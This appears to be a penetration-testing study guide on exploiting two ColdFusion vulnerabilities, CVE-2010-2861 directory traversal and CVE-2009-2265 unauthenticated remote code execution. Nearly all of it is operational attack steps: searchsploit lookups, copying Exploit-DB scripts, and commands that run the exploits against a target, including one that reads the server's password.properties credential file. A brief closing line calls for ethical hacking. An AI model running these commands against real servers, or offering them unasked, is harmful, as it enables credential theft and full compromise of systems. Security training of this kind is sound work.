ColdFusion Exploitation Guide

1. Overview of ColdFusion Vulnerabilities

ColdFusion is a Java-based web application development platform known for its CFML (ColdFusion Markup Language). However, several versions have been found vulnerable to severe exploits, including:

• CVE-2010-2861 (Directory Traversal) – Allows attackers to read arbitrary files by manipulating the locale parameter.

• CVE-2009-2265 (Unauthenticated RCE) – Permits unauthenticated file uploads, leading to Remote Code Execution (RCE) through the FCKeditor package.

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2. Exploitation Techniques

2.1 Directory Traversal Exploit (CVE-2010-2861)

Objective: Read arbitrary files from the ColdFusion server.

Steps:

1. Search for available exploits

   searchsploit adobe coldfusion
   searchsploit -p 14641

2. Copy the exploit script to the working directory

   cp /usr/share/exploitdb/exploits/multiple/remote/14641.py .

3. Execute the script

   python2 14641.py <target_ip> <target_port> <file_path>

Example Usage:

python2 14641.py 10.129.204.230 8500 "../../../../../../../../ColdFusion8/lib/password.properties"

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2.2 Unauthenticated Remote Code Execution (CVE-2009-2265)

Objective: Gain remote code execution by exploiting a vulnerability in ColdFusion’s FCKeditor package.

Steps:

1. Search for the exploit

   searchsploit -p 50057

2. Copy the exploit script

   cp /usr/share/exploitdb/exploits/cfm/webapps/50057.py .

3. Modify the script – Update local and remote IP addresses and ports.

4. Execute the exploit

   python3 50057.py

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3. Commands Summary

3.1 SearchSploit Usage

searchsploit adobe coldfusion
searchsploit -p 14641
searchsploit -p 50057

3.2 File Manipulation

cp /usr/share/exploitdb/exploits/multiple/remote/14641.py .
cp /usr/share/exploitdb/exploits/cfm/webapps/50057.py .

3.3 Exploit Execution

python2 14641.py <target_ip> <target_port> <file_path>
python3 50057.py

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4. Key Takeaways

• SearchSploit is a useful tool for identifying known vulnerabilities and exploits.

• Directory traversal can allow unauthorized access to sensitive files.

• Unauthenticated RCE can lead to full system compromise.

• Always modify exploit scripts to fit your target’s IP and port.

• Responsible and ethical hacking is critical – never exploit systems without permission.